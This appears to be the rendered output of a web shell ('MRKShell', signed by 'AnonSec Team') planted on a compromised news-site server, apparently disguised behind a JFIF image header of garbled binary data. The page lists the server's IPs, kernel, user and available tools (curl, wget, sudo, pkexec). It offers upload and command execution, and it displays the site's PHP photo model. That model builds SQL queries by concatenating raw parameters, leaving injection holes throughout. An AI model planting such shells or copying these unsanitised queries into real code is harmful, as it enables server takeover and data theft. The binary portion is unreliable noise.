JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 104.23.243.235
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/models/foto_modelo.php
<?php
class Foto_modelo extends CI_Model
{
	public function dameFotosNota($nota_id,$foto_id="")
	{
		$sql = "SELECT f.id, f.titulo, r.descripcion, f.ruta, f.imagen, f.permisocom
		FROM foto f 
		INNER JOIN relacion r on (r.objeto_id = f.id and r.tipo = 30)";
				
		$sql .= " WHERE r.nota_id = ".$nota_id." and f.habilitada = 1";
		
		if ($foto_id != "")
			$sql .= " and f.id != ".$foto_id;
		  
		if ($foto_id == "")
			$sql .= " ORDER BY r.destacado desc, r.orden asc";
		
			
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameFotoNota($nota_id,$foto_id="")
	{
		$sql = "SELECT f.id, f.titulo, r.descripcion, f.ruta, f.imagen, f.permisocom
		FROM foto f 
		INNER JOIN relacion r on (r.objeto_id = f.id and r.tipo = 30)";
				
		$sql .= " WHERE r.nota_id = ".$nota_id." and f.habilitada = 1";
		
		if ($foto_id != "")
			$sql .= " and f.id != ".$foto_id;
		  
		if ($foto_id == "")
			$sql .= " ORDER BY r.destacado desc, r.orden asc limit 1";
		
			
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function dameCantidadFotosNota($nota_id)
	{
		$sql = "SELECT count(f.id) as cantidad 
				FROM foto f 
				INNER JOIN relacion r on (f.id = r.objeto_id and r.tipo = 30) 
				WHERE r.nota_id = ".$nota_id;
						
		$query = $this->db->query($sql);
		$res = $query->result();
		return $res[0]->cantidad;
	}
	
	public function dameFotosGaleria($galeria_id,$start=0,$limit=NULL)
	{
		/*$this->db->select("f.id, f.titulo, f.descripcion, f.ruta, f.imagen");
		$this->db->from("foto_galerias f");
		$this->db->join("galeria_foto gf","gf.foto_id = f.id","inner"); 
		$this->db->where("f.habilitada",1);
		$this->db->where("gf.galeria_id",$galeria_id);
		$this->db->order_by("gf.orden");*/
		
		$sql= "SELECT  distinct f.id, f.titulo, f.descripcion, f.ruta, f.imagen
		FROM foto_galerias f
		INNER JOIN galeria_foto gf ON gf.foto_id = f.id AND gf.galeria_id=".$galeria_id."
		WHERE f.habilitada=1
		ORDER BY gf.destacada desc, gf.orden asc";
		
		if($limit)
			//$this->db->limit($limit,$start);
			$sql .=" limit ".$start.','.$limit;
			
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameFotosFotoreportaje($fotoreportaje_id,$start=0,$limit=NULL)
	{
		
		
		$sql= "SELECT f.id, f.titulo, f.descripcion, f.ruta, f.imagen
		FROM foto_fotoreportajes f
		WHERE f.fotoreportaje_id =".$fotoreportaje_id." AND f.habilitada = 1";
		
		if($limit)
			$sql .=" limit ".$start.','.$limit;
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameFoto($foto_id, $nota_id="")
	{
		$add = "";
		$sql = "SELECT f.id, f.titulo, f.descripcion, f.ruta, f.imagen, f.permisocom";
		
		if ($nota_id != "")
		{
			$sql .= ", r.descripcion as descrip_relacion";
			$add = " INNER JOIN relacion r on (r.objeto_id = f.id and r.tipo = 30)";
		}
		
		$sql .= " FROM foto f" . $add;
		$sql .= " WHERE f.id = ".$foto_id." and f.habilitada = 1";
		
		if ($nota_id != "")
			$sql .= " and r.nota_id = ".$nota_id;
			
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}

	public function dameFotoGaleria($foto_id)
	{
		$add = "";
		$sql = "SELECT f.id, f.titulo, f.descripcion, f.ruta, f.imagen, f.permisocom";
		$sql .= " FROM foto_galerias f";
		$sql .= " WHERE f.id = ".$foto_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function dameFotoDestacada($nota_id)
	{
		$sql = "select f.id, f.titulo, f.descripcion, f.ruta, f.imagen, f.permisocom, f.marca, r.descripcion as descrip_relacion 
		from foto f 
		inner join relacion r on (r.objeto_id = f.id and r.tipo = 30) 
		where r.nota_id = ".$nota_id." and f.habilitada = 1 
		order by r.destacado desc limit 1";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
        
        public function dameFotoDestacadaE($evento_id)
	{
		$sql = "select f.id, f.titulo, f.ruta, f.imagen 
		from efoto f 
		inner join relacion_evento r on (r.objeto_id = f.id and r.tipo = 30) 
		where r.evento_id = ".$evento_id." and f.destacada = 1 
		order by f.id desc limit 1";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function dameFotosEdicion($edicion_id)
	{
		$sql = "select CONCAT(f.ruta,'crop_',f.imagen) as path, n.titulo as titulo_nota, n.id as nota_id, n.url 
		from foto f  
		inner join relacion r on (r.objeto_id = f.id and r.tipo = 30) 
		inner join nota n on (r.nota_id = n.id) 
		where r.destacado = 1 and n.habilitada = 1 and n.edicion_id = ".$edicion_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function insertarFotoGaleria($datos)
	{
		$parametros = "'".$datos['ruta']."','".$datos['imagen']."','".$datos['titulo']."','".$datos['desc']."',
		".$datos['galeria_id'].",".$datos['usuario_id'];
		
		$sql = "select f_foto_insertar($parametros) as foto_id";
		
		$query = $this->db->query($sql);
		if ($query)
		{
			$res = $query->result();
			return $res[0]->foto_id;
		}
		else
			return false;
	}
	
	public function dameUltimaFotoGaleria($galeria_id)
	{
		$sql = "SELECT fg.id,fg.crop,fg.ruta, fg.imagen, fg.descripcion FROM foto_galerias fg
INNER JOIN galeria_foto gf ON gf.foto_id=fg.id
WHERE gf.galeria_id='".$galeria_id."' AND fg.habilitada='1' ORDER BY fg.fechaalta DESC LIMIT 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function dameIdPrimeraFotoGaleria($galeria_id)
	{
		$sql = "SELECT fg.id FROM foto_galerias fg
		INNER JOIN galeria_foto gf ON gf.foto_id=fg.id
		WHERE gf.galeria_id='".$galeria_id."' AND fg.habilitada='1' order by gf.orden asc, fg.id asc LIMIT 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	/*public function damefotosFotografo($fotografo_id,$cant=0,$inicio=0)
	{
		$sql = "SELECT f.ruta,f.imagen,f.descripcion,f.titulo,f.id, date_format(f.fechaalta,'%d/%m%/Y') as fecha, 
		date_format(f.fechaalta,'%H:%i') as hora, g.galeria_id
		FROM  foto_galerias f 
		inner join galeria_foto g on (g.foto_id = f.id)
		INNER JOIN relacion_otro r ON r.tipo1=30 AND r.tipo2=4 AND r.objeto_id1=f.id AND r.objeto_id2='".$fotografo_id."'
		WHERE f.habilitada=1 order by f.fechaalta desc";
		
		if($cant<>0)
		{
			$sql .=" LIMIT ".$inicio.",".$cant;
		}
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}*/

	public function damefotosFotografo($fotografo_id,$cant=0,$inicio=0)
	{
		$sql = "SELECT g.id, g.titulo, g.descripcion, DATE_FORMAT(g.fechaAlta,'%d/%m/%Y') AS fecha, 
				DATE_FORMAT(g.fechaAlta,'%H:%i') AS hora, 
				(
				  SELECT CONCAT(f.ruta,'tmb2_',f.imagen) AS imagen 
				  FROM foto_galerias f INNER JOIN galeria_foto gf ON (gf.foto_id = f.id) 
				  WHERE gf.galeria_id = g.id ORDER BY gf.destacada DESC LIMIT 1
				) AS imagen 
				FROM galeria g 
				INNER JOIN relacion_otro re ON (re.tipo1=5 AND re.tipo2=4 AND re.objeto_id2=".$fotografo_id." AND re.objeto_id1=g.id) 
				WHERE g.tipo=1 AND g.habilitada = 1 
				ORDER BY g.id desc LIMIT $inicio,$cant";

		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameMasFotosFotografo($fotografo_id,$start=0)
	{
		$sql = "SELECT f.ruta,f.imagen,f.descripcion,f.titulo,f.id 
		FROM  foto_galerias f
		INNER JOIN relacion_otro r ON r.tipo1=30 AND r.tipo2=4 AND r.objeto_id1=f.id AND r.objeto_id2='".$fotografo_id."'
		WHERE f.habilitada=1 order by f.fechaalta desc";
			
		$sql .= " LIMIT ".$start.",18";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameInfoFoto($foto_id)
	{
			
		$sql = "SELECT gf.orden, f.id, f.ruta,f.titulo, f.imagen, f.descripcion, g.titulo as gal_titulo, g.id as galeria_id, g.descripcion AS gal_desc,  
		u.apellido AS fot_apellido,u.nombre AS fot_nombre, u.id AS fot_id, date_format(f.fechaalta,'%d-%m-%Y') as fecha, f.compartido
		FROM foto_galerias f
		INNER JOIN galeria_foto gf ON gf.foto_id= f.id
		INNER JOIN galeria g ON g.id=gf.galeria_id
		LEFT JOIN relacion_otro r ON r.tipo1=30 AND r.tipo2=4 AND r.objeto_id1=f.id
		LEFT JOIN usuario u ON u.id=r.objeto_id2
		WHERE f.id='".$foto_id."' AND f.habilitada=1";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
		
	}

	public function dameInfoMinima($foto_id)
	{
		$sql = "select f.id, f.titulo, g.id as galeria_id, g.titulo as galeria_titulo, g.tipo as galeria_tipo  
		from foto_galerias f 
		inner join galeria_foto gf on (gf.foto_id = f.id) 
		inner join galeria g on (g.id = gf.galeria_id) 
		where f.id = ".$foto_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}

	public function dameInfoFotoGeneral($foto_id)
	{
			
		$sql = "SELECT f.id, f.titulo, g.titulo as gal_titulo, g.tipo, g.id as galeria_id
		FROM foto_galerias f
		INNER JOIN galeria_foto gf ON gf.foto_id= f.id
		INNER JOIN galeria g ON g.id=gf.galeria_id
		WHERE f.id='".$foto_id."' AND f.habilitada=1";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
		
	}
	
	public function dameFotoAntPostFotografo($foto_id,$fotografo_id,$antpost)//0 anterior, 1 posterior
	{
		$sql = 'SELECT f.id
		FROM  foto_galerias f
		INNER JOIN relacion_otro r ON r.tipo1=30 AND r.tipo2=4 AND r.objeto_id1=f.id AND r.objeto_id2='.$fotografo_id.'
		WHERE f.habilitada=1 
		AND f.id ';
		
		if($antpost == 0):
			
			$sql .='>';
			$sql2 = 'asc';
			
		else:

			$sql .='<';
			$sql2 = 'desc';
			
		endif;
			
		$sql .=$foto_id.' ORDER BY f.id '.$sql2.' LIMIT 1';
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function dameFotoAntPostGaleria($foto_id,$galeria_id,$antpost,$orden=0)//0 anterior, 1 posterior
	{
		
		$sql = 'SELECT f.id
		FROM  foto_galerias f
		INNER JOIN galeria_foto gf ON (gf.foto_id = f.id)
		WHERE f.habilitada=1 and gf.galeria_id='.$galeria_id.' and f.id!='.$foto_id.'
		AND gf.orden';
		
		if($antpost == 0):
			
			$sql .='<';
			$sql2 = 'desc';
			
		else:

			$sql .='>';
			$sql2 = 'asc';
			
		endif;
		
		$sql .=$orden.' ORDER BY gf.orden '.$sql2.' LIMIT 1';
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
		
	}

	public function dameEmailsParaEnvio($foto_id)
	{
		$sql = "select emails from foto_galerias_email where foto_id = ".$foto_id." order by id desc limit 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['emails'];
		}
		else
			return false;
	}

	public function modificarEmails($foto_id,$datos)
	{
		if ($id = $this->buscarEmailsPorFoto($foto_id))
		{
			$this->db->where("id",$id);
			if ($this->db->update("foto_galerias_email",$datos))
				return true;
			else
				return false;
		}
		else
		{
			$datos['foto_id'] = $foto_id;
			if ($this->db->insert("foto_galerias_email",$datos))
				return true;
			else
				return false;
		}
	}

	public function buscarEmailsPorFoto($foto_id)
	{
		$sql = "select id from foto_galerias_email where foto_id = ".$foto_id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['id'];
		}
		else
			return false;
	}

	public function eliminar_foto($foto_id)
	{
		$this->db->where("foto_id",$foto_id);
		$this->db->delete("galeria_foto");
	}

	public function valida_voto_foto($foto_id, $ip)
	{
		$sql = "select id from foto_votos_auditoria where foto_id = ".$foto_id." and ip = '".$ip."'";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			return false;
		}
		else
			return true;
	}

	public function votarFoto($datos)
	{
		$parametros = $datos['foto_id'].",'".$datos['ip']."',".$datos['usuario_id'].",".$datos['puntos'].",'".$datos['seguimiento']."'";
		$sql = "select f_votar_foto_v2($parametros) as puntos";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['puntos'];
		}
		else
			return false;
	}

	public function actualizaCompartidas($objeto_id, $total_compartidas)
	{
		$sql = "update foto_galerias set compartido = ".$total_compartidas." where id = ".$objeto_id;
		if ($this->db->query($sql))
			return true;
		else
			return false;
	}
}
?>

Anon7 - 2022
AnonSec Team